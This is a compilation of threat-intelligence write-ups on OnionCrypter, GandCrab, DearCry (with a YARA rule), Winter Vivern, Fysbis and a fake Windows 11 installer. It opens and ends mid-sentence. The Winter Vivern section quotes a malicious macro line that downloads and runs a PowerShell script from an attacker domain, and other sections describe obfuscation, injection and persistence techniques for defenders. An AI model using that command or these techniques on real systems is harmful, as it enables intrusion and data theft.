the event object and to automate processing, an IDAPython script was created. Among the most common names of event objects are: - milsin - svet - lifecicled - parames - cueevn - Strolls - Menulapkievent - doroga #### Allocation of Memory At some point during the execution of the main function, OnionCrypter has to create the memory space where it loads and decrypts data. Another aspect of uniqueness is demonstrated here. For allocation, OnionCrypter uses one of the following functions: 1. GlobalAlloc 2. VirtualAlloc 3. HeapAlloc In other malware families, it is normal that samples of a crypter belonging to the same family use the same memory allocation function across all samples. In this case, there are three different functions. This complicates analysis and is another anti-analysis trick to hide the payload because it is not enough to hook one function and monitor allocated memory in order to find the payload. What is even worse, hooking all these functions may be a very slow way to find allocated memory because the important allocation happens in some part of the junk code. At the same time, during the execution of the junk code, allocation functions may be called many times to allocate insignificant memory. Especially when these functions are used in a loop, monitoring all allocated places will be overwhelming. One possible solution to solve this is the knowledge that the allocated memory for the encrypted data has all three of the read/write/execute flags set to true. With some cleverly placed breakpoints in the main function and monitoring of memory segments, it is possible to find a moment when a segment with read/write/execute flags was created. #### Decryption of the Second Layer After memory allocation, data is moved into created space and decrypted. Either a decrypt loop is implemented inline in the main function or a separate function is called. Finding the decrypt loop is easy with an R/W breakpoint for allocated memory. Even here, every sample is quite unique. Even though all samples read data byte by byte and XOR it with another value, the implementation of the decrypt algorithm is totally different. #### Passing Execution to the Second Layer Even here are some creative ways of how to start the execution of the decrypted code. The simplest, which is also the most frequent one, is to load a pointer to the decrypted code into the register and call it. Things can get more interesting when there is no call to a register. Some samples use “Enum” functions like EnumSystemLanguageGroupsA to pass execution. Originally, this function enumerates the language groups that are either installed on or supported by an operating system, but one of the parameters of this function is a pointer to an application-defined callback function. This callback function should process the enumerated language group information provided by the EnumSystemLanguageGroupsA function. Instead of providing a pointer to the callback function, a pointer to the decrypted code is given as a parameter, and as a result, the decrypted code gets executed. ### Layer 2 Layer 2 is shell code whose ultimate task is to decrypt another layer. This process is not straightforward at all. The overview of what happens on layer 2 can be seen in the image below, but the “Decrypt layer 3” bubble hides quite a complicated process of decryption. The layer 3 is decrypted in parts, but the decryption happens on another sublayer of layer 2, in shell codes. As if it’s not enough, even these shell codes are decrypted in small parts and then put together to form a decrypt sequence. #### Finding DLLs and Functions As a first thing, OnionCrypter loads pointers to kernel32.dll. It uses TIB (Thread Information Block) to find the Process Information Block, and there is a pointer to a structure (PEB_LDR_DATA) that contains information about all of the loaded modules in the current process. By searching this structure, OnionCrypter finds the base address of kernel32.dll. When OnionCrypter has the base address of kernel32.dll, it loads the address of the Export Table, which is well known. Then OnionCrypter iterates through the Name Pointer Table containing names of DLL functions. OnionCrypter calculates the CRC32 from every function name and compares that number to one received as a hard-coded parameter. When there is a match, an iterator value is used to find the function’s ordinal number in the Ordinal Table. With this number, it is possible to look up the function’s address in the Export Address Table. Even if this method is known, OnionCrypter tries to hide what it’s loading by using pre-calculated CRC32 numbers instead of strings with function names. #### Decrypting Next Layer Now shell code running on layer 2 starts decrypting layer 3. The structure of decryption is complex. At the highest level, there is a big allocation of memory and a loop. Inside this loop, data is decrypted in small chunks and copied into big memory, but it is not as simple as it seems. Before that data chunk gets decrypted, the program first does one VirtualAlloc of size 0x1000 bytes and with RWX flags. After that, the program starts decrypting pieces of data with a size of 16 bytes and putting them together. This is accompanied by such a large number of memory allocations that hooking allocation functions is useless (and annoying). When all pieces are decrypted and joined, execution is passed to the place where the decrypted data is stored, and the crypter starts execution of layer 3. ### Layer 3 This layer is quite similar to the previous layer. At the beginning, the same trick as described before is used to load some important API functions. This time the shell code loads even more functions than before. Even when these function pointers are loaded, they are not necessarily used. Some samples use RtlDecompressBuffer and some do not. The most probable cause of this is that OnionCrypter offers options like “additional compression” or “sleep,” which the user can choose when encrypting. Decryption of the data is the same as in the previous layer. After decryption, OnionCrypter calls the VirtualProtect function in a loop and changes permissions of memory starting from the base address of the program itself to R/W/X. After this change, OnionCrypter copies decrypted data and overwrites itself, including the PE header and following sections. Then the program changes back memory permissions using VirtualProtect to ones that seem legit. In the end, OnionCrypter finds the entry point in the new PE header and passes execution there. This is the point where the payload, which is now injected into the crypter process, starts running. ## Conclusion OnionCrypter is a malware family that has been around for some time. Combined with the prevalence of this crypter and the fact that samples have such a unique first layer, it’s logical to assume that the crypter wasn’t developed as a one-time thing. On the contrary, according to the analysis of multiple samples and their capture date, it was possible to see multiple versions of some parts of OnionCrypter. Across all samples, these main features of the OnionCrypter stay the same: - The three-layer architecture - Unique first layer with a lot of junk code - Existence of the “main” function on layer 1 - General purpose and functionality of layer 2 and layer 3 On the other hand, these are some of the things that may vary between samples from different versions: - The decrypt algorithm of the second layer – There can be found simpler and also more complicated decryption algorithms used to decrypt layer 2. It is improbable that authors would come up with a complicated algorithm and then change it to something simple, just to make analysis easier. That is why it is possible that this part of OnionCrypter was updated with newer versions. - The location of the “main” function – In older samples, the “main” function on layer 1 generally can be found very easily because it is the WinMain function, which is the user-provided entry point of the application. This was changed in newer versions because the majority of recently captured samples have quite a simple and short WinMain function, and the “main” function can be found as one of the other functions. - Structure of layer 2 and layer 3 – Even though these layers can be found in all samples of OnionCrypter and always serve the same purpose, they may differ in implementation. For example, there are versions that are loading fewer DLL functions. Also, in some older versions, the loading of DLL functions is not a standalone function. Based on the analysis, the internal layers have been reworked a bit to make the layers more complex, to add new features, and to make the decryption process more complicated and obfuscated. - Injection of the final payload – Although the majority of samples are using the technique of self-injection described in the previous section, there were cases where the decrypted payload was injected into a new process created in a suspended state. This technique is analogous to self-injection but is done using a combination of functions CreateProcessInternalW, VirtualProtectEx, WriteProcessMemory, and ResumeThread. This blog post covered techniques discovered in both older and new versions of OnionCrypter. The whole process of decryption and execution of the payload was described for the most complex and the most obfuscated versions, which can be considered to be the newest and the most difficult to analyze.
# GandCrab Threat Actors Retire...Maybe In a surprising announcement two weeks ago, the threat group behind the malware operation GandCrab announced that they had shut down their operations. Until that point, GandCrab had been one of the most active malware campaigns of the past year, both in terms of distribution and rapid development. FortiGuard Labs has covered their progress in a series of articles, as well as in a presentation at AVAR2018. In an announcement as novel and cavalier as the threat actors themselves – reflecting their public persona since they first surfaced – they have now made a grand exit by thanking their affiliates and detailing their earnings. They claim that their Ransom-as-a-Service (RaaS) operation had a total of $2 billion in earnings. In a pay scheme of 60%-40% (70%-30% in some cases), giving the larger percentage of the payments to their affiliates, they claim that they personally earned $150 million from their operations. ## Arrival on the Ransomware Scene GandCrab first appeared on exploit.in, a Russian hacking forum, on January 28, 2018, at a time when file-encrypting malware distribution was seemingly declining. Despite this, GandCrab was able to make a significant impact, infecting more than 50,000 victims in just their first month of operation. They were also notable at the time because they were the first criminal organization to only accept DASH cryptocurrency as ransom payment, although they later decided to accept other cryptocurrencies. They also hosted their C2s using the .BIT TLD using a centralized DNS server (a.dnspod.com), which nominally claimed to mirror the namespace of Namecoin. While .BIT is commonly associated with the NameCoin organization for their decentralized DNS project, GandCrab’s association with NameCoin was later debunked by the organization. ## Aggressive Distribution GandCrab’s aggressive distribution network was built through its affiliate program and partnerships with other services, such as the binary crypter NTCrypt, along with other actors with expertise in distribution through RDP and VNC. At first, they only targeted western countries, primarily in Latin America. Later, they expanded to partnering with malware distributors in China and South Korea, with our detection of a spam campaign delivering a GandCrab payload targeting South Korea as recently as last April. ## An Unusual But Probably Effective Marketing Tactic Due to the rapid development of GandCrab, FortiGuard Labs as well as other security researchers have been actively monitoring changes between releases. In addition to new features, these have also included public stunts through novelty messages that the threat actors embedded to their binaries as a way to taunt researchers and security organizations. This approach created noise, which may have made them arguably one of the most covered and talked about Ransomware families of the past year. This unusual strategy demonstrated an almost unprecedented level of criminal bravado, and even a sense of invincibility, since they were able to release public announcements that messed with the security community without any repercussions. In another unusual marketing tactic, GandCrab actors also used reports from security companies to promote the success of their service, while mocking their adversaries. ## Agile Development Part of GandCrab’s success was due to their use of an agile development approach that enabled rapid releases of new versions. This was best described in our article on the development of GandCrab v4.x. A detailed discussion of the full timeline of GandCrab development can also be found in our AVAR2018: GandCrab Mentality presentation. ## Bugs, Breaches, and GandCrab’s Demise Using this agile development approach enabled them to successfully evade detection by many security companies. A good example of this is when Ahnlab released a vaccine tool to prevent the malware from executing in a system by creating a file that the malware checked before performing its encryption routine. This started a tit-for-tat between the two, which even led to the threat actors disclosing a Denial-of-Service attack POC against one of Ahnlab’s products. This was also discussed in our article on the GandCrab v4.x timeline. However, GandCrab was no exception to the drawbacks of using a fast-paced development approach, as bugs and loopholes began to be discovered in distributed versions. For instance, in the very early versions of the malware they were using hardcoded RC4 keys to encrypt their outbound traffic that also contained the private keys, which would have enabled the decryption of the victim’s ransomed files. Another simple but serious slip-up was when they failed to set a flag when generating their RSA keys. This led to a copy of the private key being stored locally on the victim’s system. We also discussed a bug that we found when they first added the feature that changed the wallpaper of their victims. However, they quickly fixed these mistakes in the next release. But perhaps their biggest mishap – one that we believe led to their eventual demise – were breaches to their server-side infrastructure, which led to leaks of the private keys of victims. A month after their operation began, BitDefender, in collaboration with Europol, released a free decryption tool for victims of GandCrab v1. At the time, there was very limited information as to how they were able to do this – at least until the ransomware perpetrators themselves announced that their payment page had been compromised, which we suspect led to the creation of the decryption tool. We believe that similar breaches eventually led to the subsequent release of the decryption tool used to decrypt files encrypted by new versions of the malware. In fact, just two weeks after GandCrab’s retirement announcement, BitDefender released a new version of a decryption tool that supports the latest (v5.2) version of the malware. ## Solution FortiGuard customers are protected by the following: - Latest versions of GandCrab are detected by our specific and heuristic detections - FortiSandbox rates GandCrab’s behavior as high risk ## Conclusion GandCrab was a Ransomware-as-a-Service malware managed by a criminal organization known to be confident and vocal, while running a rapidly evolving ransomware campaign. Through their aggressive, albeit unusual, marketing strategies and constant recruitment of affiliates, they were able to globally distribute a high volume of their malware. However, through a recent forum post, the GandCrab team has now publicly announced the end of a little more than a year of ransomware operations, citing staggering profit figures. However, considering how witty and novel this threat group has been throughout the course of their campaign, it wouldn’t be a surprise if this retirement announcement was just another of their many public stunts. If there’s one thing that sets these threat actors apart from other groups, it is that they are unpredictable; so there is always the possibility that they might re-surface in one form or another. In the meantime, FortiGuard Labs will continue to monitor for any new activities from this group.
# MAR-10330097-1.v1: DearCry Ransomware ## Description Malware Analysis Report 10330097.r1.v1 2021-04-07 This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind. This document is marked TLP:WHITE—Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk. ## Summary Six files were submitted for analysis. The files were identified as DearCry ransomware. The malware encrypts files on a device and demands ransom. ### Emails - konedieyp[@]airmail.cc - uenwonken[@]memail.com ### Submitted Files 1. 027119161d11ba87acc908a1d284b93a6bcafccc012e52ce390ecb9cd745bf27 2. 10bce0ff6597f347c3cca8363b7c81a8bff52d2ff81245cd1e66a6e11aeb25da 3. 2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff 4. e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6 5. fdec933ca1dd1387d970eeea32ce5d1f87940dfb6a403ab5fc149813726cbd65 6. feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede ## Findings ### File: 2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff - **Size**: 1322496 bytes - **Type**: PE32 executable (console) Intel 80386, for MS Windows - **MD5**: 0e55ead3b8fd305d9a54f78c7b56741a - **SHA1**: f7b084e581a8dcea450c2652f8058d93797413c3 - **SHA256**: 2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff - **SHA512**: 5c3d58d1001dce6f2d23f33861e9c7fef766b7fe0a86972e9f1eeb70bfad970b02561da6b6d193cf24bc3c1aaf2a42a950fa6e5dff3638665 - **ssdeep**: 24576:LU5NX2yJOiUXmEICxu2WAP0NIzkQM+KpPRQ9StIUDpl1fpxkHVZgMCS+:L7XP7P9o5QzUtl1fpxkHVZgMC3 - **Entropy**: 6.994611 ### Antivirus Detection - Ahnlab: Ransomware/Win.DoejoCrypt - Antiy: Trojan[Ransom]/Win32.DearCry - Avira: TR/FileCoder.HW - BitDefender: Trojan.GenericKD.36477740 - ClamAV: Win.Ransomware.Dearcry-9840778-0 - Comodo: Malware - Cyren: W32/Trojan.FOGJ-5046 - ESET: a variant of Win32/Filecoder.DearCry.A trojan - Emsisoft: Trojan.GenericKD.36477740 (B) - Ikarus: Trojan-Ransom.FileCrypter - K7: Trojan (005790de1) - Lavasoft: Trojan.GenericKD.36477740 - McAfee: Ransom-DearCry!0E55EAD3B8FD - Microsoft Security Essentials: Ransom:Win32/DoejoCrypt.A - NANOAV: Trojan.Win32.Encoder.ipilfs - NetGate: Trojan.Win32.Malware - Quick Heal: Ransom.DearCry.S19261705 - Sophos: Troj/Ransom-GFE - Symantec: Downloader - TACHYON: Ransom/W32.DearCry.1322496 - TrendMicro: Ransom.56DC2A23 - TrendMicro House Call: Ransom.56DC2A23 - Vir.IT eXplorer: Ransom.Win32.DearCry.CUQ - VirusBlokAda: TrojanRansom.Encoder - Zillya!: Trojan.Encoder.Win32.2195 ## YARA Rules ```yara rule CISA_10330097_01 : trojan downloader ransomware DEARCRY { meta: Author = "CISA Code & Media Analysis" Incident = "10330097" Date = "2021-03-31" Last_Modified = "20210331_1630" Actor = "n/a" Category = "Trojan Downloader Ransomware" Family = "DEARCRY" Description = "Detects DearCry Ransomware" MD5_1 = "0e55ead3b8fd305d9a54f78c7b56741a" SHA256_1 = "2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff" MD5_2 = "cdda3913408c4c46a6c575421485fa5b" SHA256_2 = "e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6" MD5_3 = "c6eeb14485d93f4e30fb79f3a57518fc" SHA256_3 = "feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede" strings: $s0 = { 8B 85 04 EA FF FF 50 8B 8D 08 EA FF FF 51 8B 55 14 52 8B 45 10 50 8D 8D 68 F0 FF FF 51 8B 95 00 EA FF FF 52 } $s1 = { 43 72 79 70 74 6F 50 72 6F 2D 58 63 68 42 } $s2 = "-----BEGIN RSA PUBLIC KEY-----" $s3 = ".CRYPT" condition: all of them } ``` ## Recommendations CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organizations: - Maintain up-to-date antivirus signatures and engines. - Keep operating system patches up-to-date. - Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication. - Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless necessary. - Enforce a strong password policy and implement regular password changes. - Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known. - Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests. - Disable unnecessary services on agency workstations and servers. - Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file). - Monitor users' web browsing habits; restrict access to sites with unfavorable content. - Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.). - Scan all software downloaded from the Internet prior to executing. - Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs). Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publications.
# Winter Vivern: A Look At Re-Crafted Government ## Executive Summary While parsing Microsoft Excel documents using XLM 4.0 macros, the DomainTools Research team came across a Lithuanian-language document titled “contacts.” The simple macro in this document dropped a slightly more complex PowerShell script that performed C2 communications with a domain that has been active since December 2020 and appeared on no industry-standard blocklists. The most recent domain serving documents was registered in April 2021, and DomainTools Research believes other domains used as short-term distribution may lead to other documents. The macro and domain mentioned, when hunted on, revealed documents targeting Azerbaijan, Cyprus, India, Italy, Lithuania, Ukraine, and the Vatican. The DomainTools Research team colloquially refers to this as “Winter Vivern” due to the path used in C2 communication over the last several months. ## Context For Defenders XLM 4.0 macros, the precursor to VBA in Microsoft Office documents, continue to be a problem as malware authors leverage them to avoid detection. Well-crafted macros that span multiple cells and use obfuscation can obscure adversary infrastructure from virus scanners and other tools. While tooling has come a long way in the last few years, the DomainTools Research team continues to hunt for new and novel ways that attackers hide domains in these documents. We suggest anyone looking into a document containing XLM macros take a look at the excellent XLMMacroDeobfuscator tool to assist in parsing. However, be aware that there is currently a bug that breaks deobfuscation when multiple macros are in a single cell. The project maintainer already has a fix in a testing branch if you, as a defender, come across this problem in documents you are analyzing. ## The Malicious Document The initial Lithuanian-language document, titled vtas_kontaktai_2021_04_20.xls, contains the typical request to enable content if the document is not functioning properly. The document says it contains the “Contact Details of Municipal Administrations Departments for the Protection of the Rights of the Child.” This is a document that the official government of Lithuania provides and can be found on Google. However, the modified version includes a malicious XLM 4.0 macro that calls out to the domain secure-daddy[.]com. This initial piece follows on all subsequent documents mentioned later in this writing as well. ``` CALL("kernel32","WinExec","JCJ","powershell -c ""iex (New-Object Net.Webclient).DownloadString( 'https://secure-daddy[.]com/wintervivern/server/serverHttpRequest(RUN).txt')""",0) ``` When executing that string, another PowerShell script is pulled down and run, which pulls down one of two scheduled task files depending on the Microsoft Windows version it has infected. These scheduled tasks regularly run the above pull from secure-daddy[.]com so that the script can keep itself updated. The script contains a simple push with all system information up to the C2, then checks at regular intervals for new commands, presumably capable of dropping another payload. ## Additional Targeting Examining the origin of the document on VirusTotal, we can see that the initial document comes from the URL: `https://securemanag[.]com/data/public/uploads/2017/08/vtas_kontaktai_2021_04_20.xls` This URL also serves up the Azerbaijani-language application-for-visas.xls and a generic Peace Institutions contact document in English. All documents contain the PowerShell script mentioned above. When hunting for anything calling out to the secure-daddy[.]com domain, we found the Italian-language Rassegna Documentazioni Dicastero per la Comunicazione.xls (first seen 2021-03-07) and the Cyprus-language document Ενημερωμένος κατάλογος.xls (first seen 2021-04-21), which is another set of contact-themed documents. All documents so far have had an author of “Admin” and contained a Cyrillic code page. Since December 2020, secure-daddy[.]com has also been involved in distributing documents from two URLs that would suggest earlier targeting of the Indian government and the Vatican: `https://secure-daddy[.]com/mail.gov.in/iwc_static/c11n/allDomain/Documents/mealib/List%20of%20online` `https://secure-daddy[.]com/www.sdsofficium.va/portale/portalesdsext.nsf/` ## Attacker Infrastructure Examining the attacker infrastructure, we found that neither domain was on an industry-standard blocklist, but DomainTools predictive Risk Scoring algorithms did properly rate them as the highest possible risk for malware. While the initial C2 domain secure-daddy[.]com was registered in December 2020, the serving domain securemanag[.]com has only been active since April 2021. This indicates that the adversary is likely starting a new campaign, serving documents from this address and hiding their C2 behind infrastructure they’re reusing from before. Both domains are hosted on 3NT Solutions LLP, but are split between the older domain in Sweden and the latest in Estonia. Examining passive DNS, we can see that there has been a decent run of activity on the C2 domain, so presumably some of these documents have worked and more are out in the wild. Additionally, the SPF record indicates that it accepts mail from a wide range of servers and is set up (per the SPF record with ~all) to send mail in transition. The newer, document-serving domain has a similar setup but only contains the hostinger[.]com portion in its SPF record. However, what is more interesting is that the IP address behind this domain was previously hosting centr-security[.]com. When searched for in VirusTotal, this reveals another document served up targeting Ukrainian-language speakers from the URL `https://centr-security[.]com/mil.gov.ua/documents/stat/statistics-donbas-07042021.xls`. It’s important to note that centr-security[.]com has already been placed on a blocklist, but this domain is spoofing the Council of European National Top-Level Domain Registrars (CENTR). ## Conclusion This campaign has seemed to have run largely undetected since around December 2020 with a wide range of targets and languages. As the scripts are unobfuscated and quite simple, we don’t see this being a complex APT-level campaign as it doesn’t leverage any known tooling. However, it’s always important to note that sophistication is not a requirement for success. Since this cluster of documents can’t be tied to any other campaign, attribution is difficult at this time, and DomainTools Research is monitoring this as an independent cluster. ## IoCs ### File Hashes | File Name | Hash | |-----------------------------------------------|-------------------------------------------| | Ενημερωμένος κατάλογος.xls | 94f45ba55420961451afd1b70657375ec64b7697 | | Ενημερωμένος κατάλογος_NS.xls | 2a176721b35543d7f4d9e3d24a7c50e0ea57d7e | | vtas_kontaktai_2021_04_20.xls | f84044bddbd3e05fac1319c988919492971553bb | | application-for-visa.xls | bd1efa4cf3f02cd8723c48deb5f69a432c22f359b9 | | DB%20- | 00f6291012646213a5aab81153490bb121bbf9c6 | | %20Peace%20Institutions%20(draft).xls | | | Rassegna Documentazioni Dicastero | 638bedcc00c1b1b8a25026b34c29cecc76c050ae | | per la Comunicazione.xls | | | serverHttpRequest(RUN).txt | c34e98a31246f0903d4742dcf0a9890d5328ba8a | ### Domains - centr-security[.]com - secure-daddy[.]com - securemanage[.]com ### IP Addresses - 37[.]252[.]9[.]123 - 37[.]252[.]5[.]133 ### Iris Investigate Hash U2FsdGVkX1+/QFMAzMGoRJL1g99F/qbks7NwRHYLPXkMcCCMO1whT0jHrV5fHxs8ZVy3Cc2kvVawfePzqppMh
# A Look Into Fysbis: Sofacy’s Linux Backdoor The Sofacy group, also known as APT28 and Sednit, is a well-known cyber espionage group believed to have ties to Russia. Their targets have spanned across the world, focusing on government, defense organizations, and various Eastern European governments. There have been numerous reports on their activities, to the extent that a Wikipedia entry has even been created for them. From these reports, we know that the group uses an abundance of tools and tactics, ranging across zero-day exploits targeting common applications such as Java or Microsoft Office, heavy use of spear-phishing attacks, compromising legitimate websites to stage watering-hole attacks, and targeting a variety of operating systems – Windows, OSX, Linux, and even mobile iOS. The Linux malware Fysbis is a preferred tool of Sofacy, and though it is not particularly sophisticated, Linux security in general is still a maturing area, especially regarding malware. In short, it is entirely plausible that this tool has contributed to the success of associated attacks by this group. This blog post focuses specifically on this Linux tool preferred by Sofacy and describes considerations and implications when it comes to Linux malware. Fysbis is a modular Linux trojan/backdoor that implements plug-in and controller modules as distinct classes. For reference, some vendors categorize this malware under the Sednit attacker group naming designation. This malware includes both 32-bit and 64-bit versions of Executable and Linking Format (ELF) binaries. Additionally, Fysbis can install itself to a victim system with or without root privileges, increasing the options available to an adversary when it comes to selecting accounts for installation. ## Summary Information for the Three Binaries Analyzed ### Sample 1 – Late 2014 Sofacy 64-bit Fysbis - **MD5**: 364ff454dcf00420cff13a57bcb78467 - **SHA-256**: 8bca0031f3b691421cb15f9c6e71ce193 - **ssdeep**: 3072:n+1R4tREtGN4qyGCXdHPYK9l0H786O26BmMAwyWMn/qwwiHNl:n+1R43QcILXdF0w6IBmMAwwCwwi - **Size**: 141.2 KB (144560 bytes) - **Type**: ELF 64-bit (stripped) - **Install as root**: /bin/rsyncd (synchronize and backup service) - **Install as non-root**: ~/.config/dbus-notifier/dbus-inotifier (system service d-bus notifier) - **C2**: azureon-line[.]com (TCP/80) - **Usage Timeframe**: Late 2014 ### Sample 2 – Early 2015 Sofacy 32-bit Fysbis - **MD5**: 075b6695ab63f36af65f7ffd45cccd39 - **SHA-256**: 02c7cf55fd5c5809ce2dce56085ba43795f2 - **ssdeep**: 3072:9ZAxHANuat3WWFY9nqjwbuZf454UNqRpROIDLHaSeWb3LGmPTrIW33HxIajF:9ZAxHANJAvbuZf454UN+rv eQLZPTrV3Z - **Size**: 175.9 KB (180148 bytes) - **Type**: ELF 32-bit (stripped) - **Install as root**: /bin/ksysdefd (system kernel service defender) - **Install as non-root**: ~/.config/ksysdef/ksysdefd (system kernel service defender) - **C2**: 198.105.125[.]74 (TCP/80) - **Usage Timeframe**: Early 2015 ### Sample 3 – Late 2015 Sofacy 64-bit Fysbis - **MD5**: e107c5c84ded6cd9391aede7f04d64c8 - **SHA-256**: fd8b2ea9a2e8a67e4cb3904b49c789d57ed9b1ce5bebfe54fe3d98214d6a0f61 - **ssdeep**: 6144:W/D5tpLWtr91gmaVy+mdckn6BCUd c4mLc2B9:4D5Lqgkcj+ - **Size**: 314.4 KB (321902 bytes) - **Type**: ELF 64-bit (not stripped) - **Install as root**: /bin/ksysdefd (system kernel service defender) - **Install as non-root**: ~/.config/ksysdef/ksysdefd (system kernel service defender) - **C2**: mozilla-plugins[.]com (TCP/80) - **Usage Timeframe**: Late 2015 Overall, these binaries are assessed as low sophistication but effective. They epitomize the reality that Advanced Persistent Threat (APT) actors often don’t require advanced means to achieve their objectives. Rather, these actors more often than not hold their advanced malware and zero-day exploits in reserve and employ just enough resources to meet their goals. Binary strings alone revealed a good amount about these files, increasing the efficacy of activities such as static analysis categorization (e.g., Yara). One example of this is Fysbis installation and platform targeting information for the samples. In this case, we can see the binary installation path and local reconnaissance to determine which flavor of Linux the malware is running. This is followed by a number of Linux shell command style commands related to the malware establishing persistence. Another example of easily obtained information from these samples is capability-based. Interactive status/feedback strings can give a defender an initial profile of capabilities. In addition to contributing to static analysis detections, this can be useful as a starting point for further incident response prioritization and qualification of the threat. Interestingly, the most recent ELF 64-bit binary analyzed was not stripped prior to delivery, which offered additional context in the form of symbolic information. Defenders more familiar with Windows Portable Executable (PE) binaries can equate this with the compilation of a Debug version versus a Release version. Little static analysis gifts like these can help to speed defender enumeration of capabilities and further contribute to correlation and detection across related samples. Additionally, this latest sample demonstrated minor evolution of the threat, most notably in terms of obfuscation. As it turns out, the referenced byte mask is applied to the other byte arrays using a rolling double-XOR algorithm to construct malware installation paths, filenames, and descriptions for a Linux root account. Corresponding INSTALLUSER byte arrays exist, which facilitate the non-root installation for the trojan. The same masking method is also used by the binary to decode malware configuration C2 information, further showcasing how a little symbolic information can go a long way towards completeness and higher confidence in the assessment of a malware sample. If you would like to learn more about how Fysbis works, the samples analyzed remain fairly consistent with the sample analysis found here. As Unit 42 has discussed in depth in other blog articles, we have observed that adversaries in general are seemingly hesitant in changing their infrastructure. This may be due to not wanting to commit additional resources or simply a matter of retaining familiarity for the sake of timeliness. In either case, we see the same type of behavior here with the Fysbis samples in use by Sofacy. The oldest sample was found to beacon to the domain azureon-line[.]com, which had already been widely publicized as a known command and control domain for the Sofacy group. Using passive DNS, we can see that two of the original IPs this domain resolved to also mapped to a number of other domains that had been in use by the Sofacy group during that time period. The first of the newer samples continues the trend and beacons to an IP also widely associated with the Sofacy group, 198.105.125[.]74. This IP has been mostly associated with the tool specifically known as CHOPSTICK. The newest sample introduces a previously unknown command and control beacon to mozilla-plugins[.]com. This activity aligns with the previously observed Sofacy group tactic of integrating legitimate company references into their infrastructure naming convention. Neither this new domain nor the IP it resolves to have been observed in the past, indicating that the sample may be associated with a newer campaign. Comparing this sample’s binary with the other two, however, shows there are significant similarities on the code level as well as in terms of shared behavior. Linux is used across business and home environments and appears in a variety of form factors. It is a preferred platform within data centers and the cloud for businesses, as well as an ongoing favorite for a majority of Internet-facing web and application servers. The value proposition of Linux – especially when it comes to its use in the enterprise – can be broken out into three perceived benefits: lower total cost of ownership (TCO), security, and feature set. While numbers and comparison alone can contribute to measurement of TCO and feature set, security requires further qualification. Expertise in the Linux platform is highly sought after across all industries for multiple disciplines, from system administration to big data analytics to incident response. The majority of businesses still maintain Windows-heavy user environments where certain core infrastructure components also operate under Windows servers (e.g., Active Directory, SharePoint, etc.). This means, from a practical perspective, most of a business’s focus remains on supporting and protecting Windows assets. Linux remains a mystery to a number of enterprise IT specialists – most critically for network defenders. Identifying and qualifying potential incidents requires familiarity with what constitutes normal operation in order to isolate anomalies. The same is true for any other asset in an environment; normal operation is entirely dependent on a given asset’s role/function in the enterprise. Lack of expertise and visibility into non-Windows platforms combine in some environments to present significant risks against an organization’s security posture. As a recent caution, the Linux vulnerability described under CVE-2016-0728 further demonstrates the potential breadth of real-world risks to associated platforms. A natural extension of this exposure is increased targeting by both dedicated and opportunistic attackers across various malicious actor motivations. Despite the lingering belief (and false sense of security) that Linux inherently yields higher degrees of protection from malicious actors, Linux malware and vulnerabilities do exist and are in use by advanced adversaries. To mitigate associated risks requires tailored integration of the people, processes, and technology in support of prevention, monitoring, and detection within an environment. Linux malware detection and prevention is not prevalent at this time, but Palo Alto Networks customers are protected through our next-generation security platform: - IPS signature 14917 deployed to identify and prevent command and control activity - The C2 domains and files mentioned in this report are blocked in our Threat Prevention product.
# Unofficial Windows 11 Upgrade Installs Info-Stealing Malware Hackers are luring unsuspecting users with a fake Windows 11 upgrade that comes with malware that steals browser data and cryptocurrency wallets. The campaign is currently active and relies on poisoning search results to push a website mimicking Microsoft's promotional page for Windows 11, to offer the information stealer. Microsoft offers an upgrade tool for users to check if their machine supports the latest operating system (OS) from the company. One requirement is support for Trusted Platform Module (TPM) version 2.0, which is present on machines that are not older than four years. The hackers are preying on users that jump at installing Windows 11 without spending the time to learn that the OS needs to meet certain specifications. The malicious website offering the fake Windows 11 is still up at the time of writing. It features the official Microsoft logos, favicons, and an inviting “Download Now” button. If the visitor loads the malicious website via direct connection, they will get an ISO file that shelters the executable for a novel info-stealing malware. Threat researchers at CloudSEK have analyzed the malware and shared a technical report exclusively with BleepingComputer. ## Infection Process According to CloudSEK, the threat actors behind this campaign are using a new malware that researchers named “Inno Stealer” due to its use of the Inno Setup Windows installer. The researchers say that Inno Stealer doesn’t have any code similarities to commodity other info-stealers currently in circulation, and they have not found evidence of the malware being uploaded to the Virus Total scanning platform. The loader file (Delphi-based) is the “Windows 11 setup” executable contained in the ISO, which, when launched, dumps a temporary file named is-PN131.tmp and creates another .TMP file where the loader writes 3,078KB of data. CloudSEK explains that the loader spawns a new process using the CreateProcess Windows API that helps spawn new processes, establish persistence, and plant four files. Persistence is achieved by adding an .LNK (shortcut) file in the Startup directory and using icacls.exe to set its access permissions for stealthiness. Two of the four dropped files are Windows Command Scripts to disable Registry security, add Defender exceptions, uninstall security products, and delete the shadow volume. According to the researchers, the malware also removes security solutions from Emsisoft and ESET, likely because these products detect it as malicious. The third file is a command execution utility that runs with the highest system privileges, and the fourth is a VBA script required to run dfl.cmd. At the second stage of the infection, a file with the .SCR extension is dropped into the C:\Users\\AppData\Roaming\Windows11InstallationAssistant directory of the compromised system. That file is the agent that unpacks the info-stealer payload and executes it by spawning a new process called “Windows11InstallationAssistant.scr,” the same as itself. ## Inno Stealer Capabilities The capabilities of Inno Stealer are typical for this kind of malware, including collecting web browser cookies and stored credentials, data in cryptocurrency wallets, and data from the filesystem. The set of 